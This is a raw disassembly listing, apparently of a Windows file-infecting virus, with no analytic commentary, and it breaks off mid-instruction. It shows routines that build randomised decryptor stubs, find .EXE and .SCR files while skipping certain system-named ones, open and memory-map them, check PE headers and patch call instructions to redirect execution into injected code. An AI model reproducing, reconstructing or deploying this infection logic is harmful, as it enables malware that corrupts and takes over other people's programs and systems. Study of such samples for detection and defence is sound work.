--------------------------------------------------------------------------- loc_43B508: ; CODE XREF: sub_43B4CA+23j ; sub_43B4CA+28j add edx, 28h loop loc_43B4E6 loc_43B50D: ; CODE XREF: sub_43B4CA+3Cj popa retn 4 sub_43B4CA endp ; =============== S U B R O U T I N E ======================================= sub_43B511 proc near ; CODE XREF: .RLPack:0043B83Dp ; .RLPack:0043B863p mov byte ptr ss:loc_4022F7[ebp], al call sub_43B580 push 20h lea eax, [ebp+402224h] pop ecx loc_43B528: ; CODE XREF: sub_43B511+1Ej cmp [eax], ebx jz short loc_43B538 add eax, 4 loop loc_43B528 inc dword ptr [ebp+40398Eh] retn ; --------------------------------------------------------------------------- loc_43B538: ; CODE XREF: sub_43B511+19j neg ecx add ecx, dword ptr ss:loc_4022F7[ebp] jecxz short loc_43B552 loc_43B542: ; CODE XREF: sub_43B511+39j push dword ptr [eax-4] pop dword ptr [eax] sub eax, 4 loop loc_43B542 mov [ebp+402224h], ebx loc_43B552: ; CODE XREF: sub_43B511+2Fj ; sub_43B580+34j cmp dword ptr [edx], 0 jz short loc_43B55C sub esi, [edx] add esi, [edx+10h] loc_43B55C: ; CODE XREF: sub_43B511+44j lea ecx, [esi-4] pop eax pop ebx pop esi cmp dword ptr [edx], 0 jz short loc_43B56B push dword ptr [edx] jmp short loc_43B56E ; --------------------------------------------------------------------------- loc_43B56B: ; CODE XREF: sub_43B511+54j push dword ptr [edx+10h] loc_43B56E: ; CODE XREF: sub_43B511+58j call sub_43B4CA sub ecx, esi sub ecx, dword ptr ss:loc_4039AA[ebp] pop eax add ecx, [ebx+34h] retn sub_43B511 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43B580 proc near ; CODE XREF: sub_43B511+6p pop dword ptr [ebp+403992h] mov dword ptr [ebp+40398Eh], 0 call sub_43B5D1 mov eax, [ebp+40398Eh] call sub_43AD15 call sub_43B5BD cmp dword ptr [ebp+40398Eh], 0 jnz short loc_43B5B6 mov dword ptr ss:loc_4022A0[ebp], ebx jmp short loc_43B552 ; --------------------------------------------------------------------------- loc_43B5B6: ; CODE XREF: sub_43B580+2Cj dec dword ptr [ebp+40398Eh] retn sub_43B580 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43B5BD proc near ; CODE XREF: sub_43B580+20p pop dword ptr [ebp+403992h] mov [ebp+40398Eh], edx call sub_43B5D1 xor ecx, ecx retn sub_43B5BD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43B5D1 proc near ; CODE XREF: sub_43B580+10p ; sub_43B5BD+Cp ... var_C = dword ptr -0Ch var_4 = dword ptr -4 mov edx, [ebx+80h] push edx call sub_43B4CA add edx, dword ptr ss:loc_4039AA[ebp] add edx, esi loc_43B5E5: ; CODE XREF: sub_43B5D1+120j cmp dword ptr [edx+0Ch], 0 jz locret_43B6F6 cmp dword ptr [edx+10h], 0 jz locret_43B6F6 mov eax, [edx+0Ch] push eax call sub_43B4CA add eax, dword ptr ss:loc_4039AA[ebp] add eax, esi push eax loc_43B60B: ; CODE XREF: sub_43B5D1+47j mov cl, [eax] cmp cl, 0 jz short loc_43B62B cmp cl, 2Eh jz short loc_43B61A loc_43B617: ; CODE XREF: sub_43B5D1+58j inc eax jmp short loc_43B60B ; --------------------------------------------------------------------------- loc_43B61A: ; CODE XREF: sub_43B5D1+44j mov ecx, [eax+1] and ecx, 0DFDFDFDFh cmp ecx, 4C4C44h jnz short loc_43B617 loc_43B62B: ; CODE XREF: sub_43B5D1+3Fj pop ecx sub ecx, eax cmp ecx, 0FFFFFFFAh jg loc_43B6EE cmp word ptr [eax-2], 3233h jnz loc_43B6EE push esi cmp dword ptr [edx], 0 jnz short loc_43B64E mov ecx, [edx+10h] jmp short loc_43B650 ; --------------------------------------------------------------------------- loc_43B64E: ; CODE XREF: sub_43B5D1+76j mov ecx, [edx] loc_43B650: ; CODE XREF: sub_43B5D1+7Bj add esi, ecx push ecx call sub_43B4CA add esi, dword ptr ss:loc_4039AA[ebp] loc_43B65E: ; CODE XREF: sub_43B5D1+90j ; sub_43B5D1+117j lodsd test eax, eax js short loc_43B65E jz loc_43B6ED push dword ptr ss:loc_4039AA[ebp] push eax call sub_43B4CA add eax, dword ptr ss:loc_4039AA[ebp] pop dword ptr ss:loc_4039AA[ebp] add eax, [esp+4+var_4] push ebx add eax, 2 xor ebx, ebx loc_43B68A: ; CODE XREF: sub_43B5D1+CEj movzx ecx, byte ptr [eax] jecxz short loc_43B6A1 or cl, 20h push ebx shl [esp+0Ch+var_C], 4 sub [esp+0Ch+var_C], ebx sub [esp+0Ch+var_C], ecx pop ebx inc eax jmp short loc_43B68A ; --------------------------------------------------------------------------- loc_43B6A1: ; CODE XREF: sub_43B5D1+BCj cmp ebx, 0DDBBD70Fh jz short loc_43B6E7 cmp ebx, 0DB6E45A8h jz short loc_43B6E7 cmp ebx, 0FFA13B59h jz short loc_43B6E7 cmp ebx, 0ACB522D6h jz short loc_43B6E7 cmp ebx, 0F358E993h jz short loc_43B6E7 cmp ebx, 0F358E97Dh jz short loc_43B6E7 cmp ebx, 0E1253F46h jz short loc_43B6E7 cmp ebx, 0E1253F30h jz short loc_43B6E7 call dword ptr [ebp+403992h] loc_43B6E7: ; CODE XREF: sub_43B5D1+D6j ; sub_43B5D1+DEj ... pop ebx jmp loc_43B65E ; --------------------------------------------------------------------------- loc_43B6ED: ; CODE XREF: sub_43B5D1+92j pop esi loc_43B6EE: ; CODE XREF: sub_43B5D1+60j ; sub_43B5D1+6Cj add edx, 14h jmp loc_43B5E5 ; --------------------------------------------------------------------------- locret_43B6F6: ; CODE XREF: sub_43B5D1+18j ; sub_43B5D1+22j retn sub_43B5D1 endp ; --------------------------------------------------------------------------- db 1 ; =============== S U B R O U T I N E ======================================= sub_43B6F8 proc near ; CODE XREF: .RLPack:0043B836p ; .RLPack:0043B85Cp push 4 pop eax call sub_43AD15 mov [ebp+4024D1h], dl mov ax, 1831h add ah, dl shl ah, 3 add ah, dl stosw push 6 pop eax call sub_43AD15 add edx, 8 xchg edx, ecx loc_43B720: ; CODE XREF: sub_43B6F8:loc_43B75Fj push 5 pop eax call sub_43AD15 cmp dl, 3 jnb short loc_43B738 mov al, 50h add al, [ebp+4024D1h] stosb jmp short loc_43B75F ; --------------------------------------------------------------------------- loc_43B738: ; CODE XREF: sub_43B6F8+33j push 68h pop eax stosb cmp dl, 3 jnz short loc_43B759 mov al, 11h call sub_43AD15 mov eax, 1 loc_43B74D: ; CODE XREF: sub_43B6F8+5Dj test dl, dl jz short loc_43B75E shl eax, 1 dec dl jmp short loc_43B74D ; --------------------------------------------------------------------------- jmp short loc_43B75E ; --------------------------------------------------------------------------- loc_43B759: ; CODE XREF: sub_43B6F8+47j mov eax, 80000000h loc_43B75E: ; CODE XREF: sub_43B6F8+57j ; sub_43B6F8+5Fj stosd loc_43B75F: ; CODE XREF: sub_43B6F8+3Ej loop loc_43B720 retn sub_43B6F8 endp ; --------------------------------------------------------------------------- loc_43B762: ; CODE XREF: sub_43C1BC+112p lea edi, [ebp+40343Ch] test dword ptr [ebp+403431h], 80000000h jz short loc_43B777 mov al, 60h stosb loc_43B777: ; CODE XREF: .RLPack:0043B772j test dword ptr [ebp+403431h], 1000003h jz loc_43B87D ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp call near ptr 0BDCD633Bh xchg eax, esi cmp [eax+0], eax mov al, 0E8h stosb stosd test dword ptr [ebp+403431h], 1000000h mov [ebp+40399Ah], edi jz short loc_43B7F5 test dword ptr [ebp+403431h], 2000000h mov eax, 36FF6467h jnz short loc_43B7C0 mov eax, 2E8B6467h loc_43B7C0: ; CODE XREF: .RLPack:0043B7B9j stosd mov ax, 0 stosw jz short loc_43B7CC mov al, 5Dh stosb loc_43B7CC: ; CODE XREF: .RLPack:0043B7C7j test dword ptr [ebp+403431h], 8000000h mov eax, 86D8Dh jnz short loc_43B7F3 test dword ptr [ebp+403431h], 4000000h mov eax, 8C583h jz short loc_43B7F3 mov eax, 0F8ED83h loc_43B7F3: ; CODE XREF: .RLPack:0043B7DBj ; .RLPack:0043B7ECj stosd dec edi loc_43B7F5: ; CODE XREF: .RLPack:0043B7A8j test dword ptr [ebp+403431h], 3 jz short loc_43B805 mov al, 0E9h stosb stosd loc_43B805: ; CODE XREF: .RLPack:0043B7FFj mov eax, dword ptr ss:loc_403996[ebp] mov ecx, edi sub ecx, eax mov [eax-4], ecx test dword ptr [ebp+403431h], 3 jz short loc_43B87D mov eax, 36FF6467h mov [ebp+40399Eh], edi stosd mov eax, 64670000h stosd mov eax, 2689h stosd call sub_43B6F8 mov al, 20h call sub_43B511 jecxz short loc_43B87D mov ax, 15FFh stosw xchg eax, ecx stosd mov edx, [ebp+403431h] not edx test edx, 3 jnz short loc_43B870 call sub_43B6F8 mov al, 1Fh call sub_43B511 mov ax, 15FFh stosw xchg eax, ecx stosd loc_43B870: ; CODE XREF: .RLPack:0043B85Aj mov ecx, edi mov eax, [ebp+40399Eh] sub ecx, eax mov [eax-4], ecx loc_43B87D: ; CODE XREF: .RLPack:0043B781j ; .RLPack:0043B81Cj ... test dword ptr [ebp+403431h], 4 jz short loc_43B89B mov eax, 0C8FEC029h stosd mov eax, 474C008h stosd mov eax, 67EBF875h stosd loc_43B89B: ; CODE XREF: .RLPack:0043B887j test dword ptr [ebp+403431h], 8 jnz short loc_43B8F1 cmp byte ptr [ebp+40342Fh], 0 jz short loc_43B8F1 mov eax, 0C9291829h or ah, [ebp+40342Bh] shl ah, 3 or ah, [ebp+40342Bh] stosd mov al, 0B1h stosb mov al, [ebp+40342Fh] stosb mov al, 40h or al, [ebp+40342Bh] stosb mov ax, 0FDE2h test dword ptr [ebp+403431h], 10h jz short loc_43B8EF mov al, 49h stosb mov ax, 0FC75h loc_43B8EF: ; CODE XREF: .RLPack:0043B8E6j stosw loc_43B8F1: ; CODE XREF: .RLPack:0043B8A5j ; .RLPack:0043B8AEj mov al, 0E8h stosb xor eax, eax stosd mov [ebp+403982h], edi test dword ptr [ebp+403431h], 20h jnz short loc_43B912 mov al, 58h or al, [ebp+403429h] stosb loc_43B912: ; CODE XREF: .RLPack:0043B907j mov ax, 0C081h test dword ptr [ebp+403431h], 40h jz short loc_43B925 add ah, 28h loc_43B925: ; CODE XREF: .RLPack:0043B920j or ah, [ebp+403429h] stosw mov dword ptr ss:loc_403986[ebp], edi stosd test dword ptr [ebp+403431h], 40000000h jnz short loc_43B949 mov al, 50h add al, [ebp+403429h] stosb loc_43B949: ; CODE XREF: .RLPack:0043B93Ej test dword ptr [ebp+403431h], 80h jnz short loc_43B960 mov al, 0B8h or al, byte ptr ss:loc_40342A[ebp] stosb jmp short loc_43B99D ; --------------------------------------------------------------------------- loc_43B960: ; CODE XREF: .RLPack:0043B953j mov ax, 1831h test dword ptr [ebp+403431h], 100h jz short loc_43B972 mov al, 29h loc_43B972: ; CODE XREF: .RLPack:0043B96Ej or ah, byte ptr ss:loc_40342A[ebp] shl ah, 3 or ah, byte ptr ss:loc_40342A[ebp] stosw mov ax, 0F081h test dword ptr [ebp+403431h], 200h jnz short loc_43B995 mov ah, 0C8h loc_43B995: ; CODE XREF: .RLPack:0043B991j or ah, byte ptr ss:loc_40342A[ebp] stosw loc_43B99D: ; CODE XREF: .RLPack:0043B95Ej mov [ebp+4039A2h], edi mov eax, 243Ch stosd test dword ptr [ebp+403431h], 8 jz short loc_43BA21 test dword ptr [ebp+403431h], 400h jnz short loc_43B9CC mov al, 0B8h or al, [ebp+40342Bh] stosb jmp short loc_43BA19 ; --------------------------------------------------------------------------- loc_43B9CC: ; CODE XREF: .RLPack:0043B9BFj test dword ptr [ebp+403431h], 800h jnz short loc_43B9E9 mov ax, 0E083h or ah, [ebp+40342Bh] stosw xor eax, eax stosb jmp short loc_43B9FE ; --------------------------------------------------------------------------- loc_43B9E9: ; CODE XREF: .RLPack:0043B9D6j mov ax, 1829h or ah, [ebp+40342Bh] shl ah, 3 or ah, [ebp+40342Bh] stosw loc_43B9FE: ; CODE XREF: .RLPack:0043B9E7j test dword ptr [ebp+403431h], 1000h mov ax, 0C081h jz short loc_43BA11 add ah, 8 loc_43BA11: ; CODE XREF: .RLPack:0043BA0Cj or ah, [ebp+40342Bh] stosw loc_43BA19: ; CODE XREF: .RLPack:0043B9CAj movzx eax, byte ptr [ebp+40342Fh] stosd loc_43BA21: ; CODE XREF: .RLPack:0043B9B3j test dword ptr [ebp+403431h], 40000000h jz short loc_43BA36 mov al, 50h add al, [ebp+403429h] stosb loc_43BA36: ; CODE XREF: .RLPack:0043BA2Bj test dword ptr [ebp+403431h], 2000h mov al, 86h jnz short loc_43BA46 add al, 4 loc_43BA46: ; CODE XREF: .RLPack:0043BA42j lea ecx, [edi-2] mov ah, [ebp+403429h] mov dword ptr ss:loc_40398A[ebp], ecx stosw cmp ah, 5 jnz short loc_43BA63 mov al, 0 or byte ptr [edi-1], 40h stosb loc_43BA63: ; CODE XREF: .RLPack:0043BA5Aj test dword ptr [ebp+403431h], 4000h mov ax, 3166h jnz short loc_43BA75 mov ah, 29h loc_43BA75: ; CODE XREF: .RLPack:0043BA71j stosw mov al, 18h or al, [ebp+40342Bh] shl al, 3 stosb mov al, 88h test dword ptr [ebp+403431h], 8000h jnz short loc_43BA93 mov al, 86h loc_43BA93: ; CODE XREF: .RLPack:0043BA8Fj mov ah, [ebp+403429h] stosw cmp ah, 5 jnz short loc_43BAA7 mov al, 0 or byte ptr [edi-1], 40h stosb loc_43BAA7: ; CODE XREF: .RLPack:0043BA9Ej test dword ptr [ebp+403431h], 10000h jnz short loc_43BABE mov al, 40h or al, [ebp+403429h] stosb jmp short loc_43BACD ; --------------------------------------------------------------------------- loc_43BABE: ; CODE XREF: .RLPack:0043BAB1j mov ax, 0C083h or ah, [ebp+403429h] stosw mov al, 1 stosb loc_43BACD: ; CODE XREF: .RLPack:0043BABCj test dword ptr [ebp+403431h], 20000h jnz short loc_43BB08 test dword ptr [ebp+403431h], 40000h jnz short loc_43BAFF mov al, 0C0h or al, [ebp+40342Bh] mov ah, [ebp+403430h] shl eax, 10h mov ax, 8166h stosd mov al, 0 jmp short loc_43BB07 ; --------------------------------------------------------------------------- loc_43BAFF: ; CODE XREF: .RLPack:0043BAE3j mov al, 40h or al, [ebp+40342Bh] loc_43BB07: ; CODE XREF: .RLPack:0043BAFDj stosb loc_43BB08: ; CODE XREF: .RLPack:0043BAD7j test dword ptr [ebp+403431h], 80000h jnz short loc_43BB24 mov ax, 0E883h or ah, byte ptr ss:loc_40342A[ebp] stosw mov al, 1 jmp short loc_43BB2C ; --------------------------------------------------------------------------- loc_43BB24: ; CODE XREF: .RLPack:0043BB12j mov al, 48h or al, byte ptr ss:loc_40342A[ebp] loc_43BB2C: ; CODE XREF: .RLPack:0043BB22j stosb test dword ptr [ebp+403431h], 100000h mov cl, 75h jnz short loc_43BB60 mov ax, 0F883h or ah, byte ptr ss:loc_40342A[ebp] stosw xor eax, eax stosb sub dword ptr ss:loc_40398A[ebp], edi test dword ptr [ebp+403431h], 200000h jnz short loc_43BB7B mov cl, 77h jmp short loc_43BB7B ; --------------------------------------------------------------------------- loc_43BB60: ; CODE XREF: .RLPack:0043BB39j mov ax, 1809h or ah, byte ptr ss:loc_40342A[ebp] shl ah, 3 or ah, byte ptr ss:loc_40342A[ebp] stosw sub dword ptr ss:loc_40398A[ebp], edi loc_43BB7B: ; CODE XREF: .RLPack:0043BB5Aj ; .RLPack:0043BB5Ej mov al, cl mov ah, byte ptr ss:loc_40398A[ebp] stosw mov al, 58h add al, [ebp+403429h] stosb test dword ptr [ebp+403431h], 1000003h jz loc_43BC25 mov eax, 268B6467h mov ecx, [ebp+403431h] xor ecx, 2000000h test ecx, 3000000h jnz short loc_43BBBC mov eax, 2E876467h loc_43BBBC: ; CODE XREF: .RLPack:0043BBB5j stosd mov eax, 0 stosw jnz short loc_43BBCC mov ax, 0E58Bh stosw loc_43BBCC: ; CODE XREF: .RLPack:0043BBC4j mov eax, 68F6764h stosd xor eax, eax stosw test dword ptr [ebp+403431h], 1000000h jnz short loc_43BC22 test dword ptr [ebp+403431h], 8000000h jz short loc_43BC14 mov ax, 6C8Dh test dword ptr [ebp+403431h], 2000000h setnz cl or ah, cl stosw test cl, cl jnz short loc_43BC0F mov ax, 424h stosw jmp short loc_43BC22 ; --------------------------------------------------------------------------- loc_43BC0F: ; CODE XREF: .RLPack:0043BC05j mov al, 8 stosb jmp short loc_43BC22 ; --------------------------------------------------------------------------- loc_43BC14: ; CODE XREF: .RLPack:0043BBECj mov ax, 5D58h add al, [ebp+40342Bh] stosw jmp short loc_43BC25 ; --------------------------------------------------------------------------- loc_43BC22: ; CODE XREF: .RLPack:0043BBE0j ; .RLPack:0043BC0Dj ... mov al, 0C9h stosb loc_43BC25: ; CODE XREF: .RLPack:0043BB98j ; .RLPack:0043BC20j test dword ptr [ebp+403431h], 80000000h jz short loc_43BC51 mov al, 7 sub al, [ebp+403429h] shl eax, 1Ah or eax, 240889h add ah, [ebp+403429h] shl ah, 3 add ah, 4 stosd mov al, 61h stosb loc_43BC51: ; CODE XREF: .RLPack:0043BC2Fj mov ax, 0E0FFh or ah, [ebp+403429h] stosw test dword ptr [ebp+403431h], 20h jz short loc_43BCBC test dword ptr [ebp+403431h], 20000000h jz short loc_43BC82 loc_43BC75: ; CODE XREF: .RLPack:0043BC80j test edi, 3 jz short loc_43BC82 mov al, 90h stosb jmp short loc_43BC75 ; --------------------------------------------------------------------------- loc_43BC82: ; CODE XREF: .RLPack:0043BC73j ; .RLPack:0043BC7Bj mov eax, edi mov ecx, [ebp+403982h] sub eax, ecx mov [ecx-4], eax mov al, 58h or al, [ebp+403429h] stosb test dword ptr [ebp+403431h], 400000h jz short loc_43BCB0 mov ax, 0C350h or al, [ebp+403429h] jmp short loc_43BCBA ; --------------------------------------------------------------------------- loc_43BCB0: ; CODE XREF: .RLPack:0043BCA2j mov ax, 0E0FFh or ah, [ebp+403429h] loc_43BCBA: ; CODE XREF: .RLPack:0043BCAEj stosw loc_43BCBC: ; CODE XREF: .RLPack:0043BC67j test dword ptr [ebp+403431h], 1000003h jz short loc_43BD3B test dword ptr [ebp+403431h], 20000000h jz short loc_43BCE1 loc_43BCD4: ; CODE XREF: .RLPack:0043BCDFj test edi, 3 jz short loc_43BCE1 mov al, 90h stosb jmp short loc_43BCD4 ; --------------------------------------------------------------------------- loc_43BCE1: ; CODE XREF: .RLPack:0043BCD2j ; .RLPack:0043BCDAj mov ecx, edi mov eax, [ebp+40399Ah] sub ecx, eax mov [eax-4], ecx xor ecx, ecx test dword ptr [ebp+403431h], 800000h jnz short loc_43BD0A lea eax, [ebp+403429h] loc_43BD02: ; CODE XREF: .RLPack:0043BD08j mov cl, [eax] inc eax cmp cl, 3 jnb short loc_43BD02 loc_43BD0A: ; CODE XREF: .RLPack:0043BCFAj lea eax, ds:102444h[ecx*8] shl eax, 8 mov al, 8Bh stosd jecxz short loc_43BD1F mov ax, 0C031h stosw loc_43BD1F: ; CODE XREF: .RLPack:0043BD17j mov ax, 808Fh push 0B8h add ah, cl stosw pop eax stosd test ecx, ecx jnz short loc_43BD38 mov ax, 0C031h stosw loc_43BD38: ; CODE XREF: .RLPack:0043BD30j mov al, 0C3h stosb loc_43BD3B: ; CODE XREF: .RLPack:0043BCC6j lea eax, [ebp+40343Ch] test dword ptr [ebp+403431h], 10000000h jnz short loc_43BD53 push edi sub edi, eax pop eax jmp short loc_43BD6C ; --------------------------------------------------------------------------- loc_43BD53: ; CODE XREF: .RLPack:0043BD4Bj mov edx, [ebx+28h] sub edi, eax sub edx, eax mov ecx, [ebp+4039A2h] add [ebp+403982h], edx add [ecx], edi mov eax, [esp+4] loc_43BD6C: ; CODE XREF: .RLPack:0043BD51j mov [ebp+40106Dh], edi mov edi, dword ptr ss:loc_403986[ebp] sub eax, [ebp+403982h] test dword ptr [ebp+403431h], 40h jz short loc_43BD8C neg eax loc_43BD8C: ; CODE XREF: .RLPack:0043BD88j stosd retn 4 ; =============== S U B R O U T I N E ======================================= sub_43BD90 proc near ; CODE XREF: sub_43C1BC+2A8p push esi push edi cmp dword ptr [ebp+4039AEh], 0 jz loc_43BF78 call near ptr loc_43BDB0+1 dec ebx inc ebp push edx dec esi inc ebp dec esp xor esi, [edx] db 2Eh inc esp dec esp dec esp loc_43BDB0: ; CODE XREF: sub_43BD90+Fp add bh, bh sub_43BD90 endp ; sp-analysis failed xchg eax, ebp mov ds:85890040h, dh mov esi, 53004039h mov ebx, [eax+3Ch] add ebx, eax push dword ptr [ebx+28h] mov eax, [ebx+34h] call sub_43B4CA mov edx, [ebp+4039A6h] pop ebx add eax, [edx+0Ch] mov [ebp+4039C2h], eax add eax, [edx+8] mov [ebp+4039C6h], eax mov esi, [ebx+28h] push dword ptr [ebx+80h] call sub_43B4CA mov edi, [ebp+4039A6h] push esi call sub_43B4CA mov edx, [ebp+4039A6h] mov ecx, [edx+8] add ecx, [edx+0Ch] sub ecx, esi sub ecx, 5 js loc_43BF78 jz loc_43BF78 add esi, dword ptr ss:loc_4039AA[ebp] add esi, dword ptr ss:loc_403972[ebp] ; START OF FUNCTION CHUNK FOR sub_43BF49 loc_43BE2A: ; CODE XREF: sub_43BF49+29j lodsb cmp al, 0E8h jnz loc_43BED5 lea eax, [esi+4] sub eax, dword ptr ss:loc_403972[ebp] add eax, [esi] push eax call sub_43B4CA cmp dword ptr [ebp+4039A6h], 0 jnz short loc_43BE58 cmp eax, [edi+0Ch] jnb loc_43BF71 jmp short loc_43BE64 ; --------------------------------------------------------------------------- loc_43BE58: ; CODE XREF: sub_43BF49-FEj cmp [ebp+4039A6h], edx jnz loc_43BF71 loc_43BE64: ; CODE XREF: sub_43BF49-F3j add eax, dword ptr ss:loc_403972[ebp] cmp word ptr [eax], 25FFh jnz loc_43BF71 mov eax, [eax+2] sub eax, [ebx+34h] push eax call sub_43B4CA cmp [ebp+4039A6h], edi jnz loc_43BF71 add eax, dword ptr ss:loc_4039AA[ebp] add eax, dword ptr ss:loc_403972[ebp] mov eax, [eax] sub eax, [edi+0Ch] jb loc_43BF71 cmp eax, [edi+8] jnb loc_43BF71 loc_43BEAD: ; CODE XREF: sub_43BF49+22j add eax, 2 add eax, [edi+14h] add eax, dword ptr ss:loc_403972[ebp] push edx push eax push dword ptr ss:loc_4039BE[ebp] call dword ptr [ebp+403548h] pop edx test eax, eax jnz loc_43BF87 jmp loc_43BF71 ; --------------------------------------------------------------------------- loc_43BED5: ; CODE XREF: sub_43BF49-11Cj cmp al, 0FFh jnz loc_43BF71 cmp byte ptr [esi], 15h jnz loc_43BF71 mov eax, [esi+1] sub eax, [ebx+34h] push eax call sub_43B4CA cmp [ebp+4039A6h], edi jnz short loc_43BF71 add eax, dword ptr ss:loc_4039AA[ebp] add eax, dword ptr ss:loc_403972[ebp] mov [ebp+4039CAh], eax mov eax, [eax] cmp eax, [ebp+4039C2h] jb short loc_43BF1E cmp eax, [ebp+4039C6h] jb short loc_43BF87 loc_43BF1E: ; CODE XREF: sub_43BF49-35j cmp eax, 70000000h jb short loc_43BF5C call sub_43BF49 lea ecx, [esi-4] mov eax, ecx sub eax, [edx] add eax, [edx+10h] cmp eax, [ebp+4039CAh] jnz short locret_43BF48 add esp, 10h push dword ptr [ecx] pop [esp-0Ch+arg_24] popa jmp short loc_43BF63 ; --------------------------------------------------------------------------- locret_43BF48: ; CODE XREF: sub_43BF49-Fj retn ; END OF FUNCTION CHUNK FOR sub_43BF49 ; =============== S U B R O U T I N E ======================================= sub_43BF49 proc near ; CODE XREF: sub_43BF49-24p var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_24 = dword ptr 28h ; FUNCTION CHUNK AT 0043BE2A SIZE 0000011F BYTES pop dword ptr [ebp+403992h] pusha mov esi, dword ptr ss:loc_403972[ebp] call sub_43B5D1 popa loc_43BF5C: ; CODE XREF: sub_43BF49-26j test eax, 80000000h jnz short loc_43BF71 loc_43BF63: ; CODE XREF: sub_43BF49-3j sub eax, [edi+0Ch] jb short loc_43BF71 cmp eax, [edi+8] jb loc_43BEAD loc_43BF71: ; CODE XREF: sub_43BF49-F9j ; sub_43BF49-EBj ... dec ecx jnz loc_43BE2A loc_43BF78: ; CODE XREF: sub_43BD90+9j ; .RLPack:0043BE12j ... mov edi, [esp-4+arg_0] and dword ptr [edi+2431h], 7FFFFFFFh jmp short loc_43BFC3 ; --------------------------------------------------------------------------- loc_43BF87: ; CODE XREF: sub_43BF49-7Fj ; sub_43BF49-2Dj or dword ptr [edx+24h], 0E0000060h dec esi xor eax, eax mov ecx, [esp+8+var_8] xchg eax, [ebp+4039AEh] lea edi, [ecx+2435h] add eax, dword ptr ss:loc_403972[ebp] movsw movsd dec esi sub eax, esi add eax, [edx+14h] sub eax, [edx+0Ch] mov byte ptr [esi-5], 0E8h mov dword ptr [ecx+52h], 5 mov [esi-4], eax loc_43BFC3: ; CODE XREF: sub_43BF49+3Cj pop edi pop esi retn sub_43BF49 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43BFC6 proc near ; CODE XREF: .RLPack:0043C194p ; sub_43C1BC+127p lea esi, loc_40384E[ebp] push esi call dword ptr [ebp+40357Ch] cmp eax, 0FFFFFFFFh jz locret_43C097 mov [ebp+403952h], eax push 0 push esi call dword ptr [ebp+4035B4h] test eax, eax jz locret_43C097 sub eax, eax push eax push eax push 3 push eax push 1 push 0C0000000h push esi call dword ptr [ebp+40355Ch] cmp eax, 0FFFFFFFFh jz loc_43C54F mov [ebp+403956h], eax lea ecx, loc_40395A[ebp] lea edx, [ebp+403962h] push ecx push edx push 0 push eax call dword ptr [ebp+403584h] cmp eax, 0FFFFFFFFh jz loc_43C543 push 0 push dword ptr [ebp+403956h] call dword ptr [ebp+403580h] cmp eax, 0FFFFFFFFh jz loc_43C543 mov [ebp+40396Ah], eax xor ecx, ecx add eax, ebx push ecx push eax push ecx push 4 push ecx push dword ptr [ebp+403956h] call dword ptr [ebp+403560h] test eax, eax jz loc_43C543 xor ecx, ecx mov [ebp+40396Eh], eax push ecx push ecx push ecx push 0F001Fh push eax call dword ptr ss:loc_4035A0[ebp] test eax, eax jz loc_43C51B mov dword ptr ss:loc_403972[ebp], eax locret_43C097: ; CODE XREF: sub_43BFC6+10j ; sub_43BFC6+27j ... retn sub_43BFC6 endp ; =============== S U B R O U T I N E ======================================= sub_43C098 proc near ; CODE XREF: sub_43C1BC+117p ; sub_43C1BC+223p mov eax, 69CDh mov ecx, [ebx+38h] test dword ptr [ebp+403431h], 10000000h jnz short loc_43C0B2 add eax, [ebp+40106Dh] loc_43C0B2: ; CODE XREF: sub_43C098+12j xor edx, edx add eax, ecx div ecx mul ecx mov dword ptr ss:loc_40397A[ebp], eax mov eax, 243Bh mov ecx, [ebx+3Ch] add eax, [ebp+40106Dh] xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+403976h], eax retn sub_43C098 endp ; =============== S U B R O U T I N E ======================================= sub_43C0DD proc near ; CODE XREF: sub_43C1BC:loc_43C20Bp ; sub_43C1BC+13Dp movzx ecx, word ptr [ebx+6] stc loc_43C0E2: ; CODE XREF: sub_43C0DD+23j jecxz short locret_43C119 lea edx, [ebx+18h] movzx eax, word ptr [ebx+14h] add edx, eax dec ecx imul eax, ecx, 28h add edx, eax cmp dword ptr [edx], 6E69775Fh stc jz short locret_43C119 cmp dword ptr [edx+0Ch], 1 jb short loc_43C0E2 mov ecx, [ebx+3Ch] mov eax, [edx+14h] add eax, [edx+10h] lea eax, [eax+ecx*2-1] neg ecx and eax, ecx cmp eax, [ebp+40396Ah] locret_43C119: ; CODE XREF: sub_43C0DD:loc_43C0E2j ; sub_43C0DD+1Dj ... retn sub_43C0DD endp ; =============== S U B R O U T I N E ======================================= sub_43C11A proc near ; CODE XREF: .RLPack:0043C1A6p arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_43C11A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_43C127: ; CODE XREF: .RLPack:0043C148j mov ecx, edi jmp short loc_43C136 ; --------------------------------------------------------------------------- lea edi, loc_40384E[ebp] cld loc_43C132: ; CODE XREF: .RLPack:0043C144j mov ebx, edi xor ecx, ecx loc_43C136: ; CODE XREF: .RLPack:0043C129j ; .RLPack:0043C14Cj lodsb cmp al, 61h jb short loc_43C141 cmp al, 7Ah ja short loc_43C141 sub al, 20h loc_43C141: ; CODE XREF: .RLPack:0043C139j ; .RLPack:0043C13Dj stosb cmp al, 5Ch jz short loc_43C132 cmp al, 2Eh jz short loc_43C127 cmp al, 0 jnz short loc_43C136 jecxz short locret_43C119 mov eax, [ecx] cmp eax, 455845h jz short loc_43C164 cmp eax, 524353h jnz locret_43C097 loc_43C164: ; CODE XREF: .RLPack:0043C157j mov eax, [ebx] cmp eax, 434E4957h jz locret_43C097 cmp eax, 4E554357h jz locret_43C097 cmp eax, 32334357h jz locret_43C097 cmp eax, 4F545350h jz locret_43C097 xor ebx, ebx call sub_43BFC6 jz locret_43C097 xor edx, edx call sub_43C1BC call sub_43C11A call $+5 pop ebp sub ebp, 402F8Ah jmp loc_43C4F9 ; =============== S U B R O U T I N E ======================================= sub_43C1BC proc near ; CODE XREF: .RLPack:0043C1A1p var_14 = dword ptr -14h push dword ptr fs:[edx] mov esi, dword ptr ss:loc_403972[ebp] mov fs:[edx], esp cmp word ptr [esi], 5A4Dh jnz loc_43C4F9 mov ebx, [esi+3Ch] add ebx, esi cmp word ptr [ebx], 4550h jnz loc_43C4F9 test dword ptr [ebx+16h], 2000h jnz loc_43C4F9 test byte ptr [ebx+5Ch], 2 mov 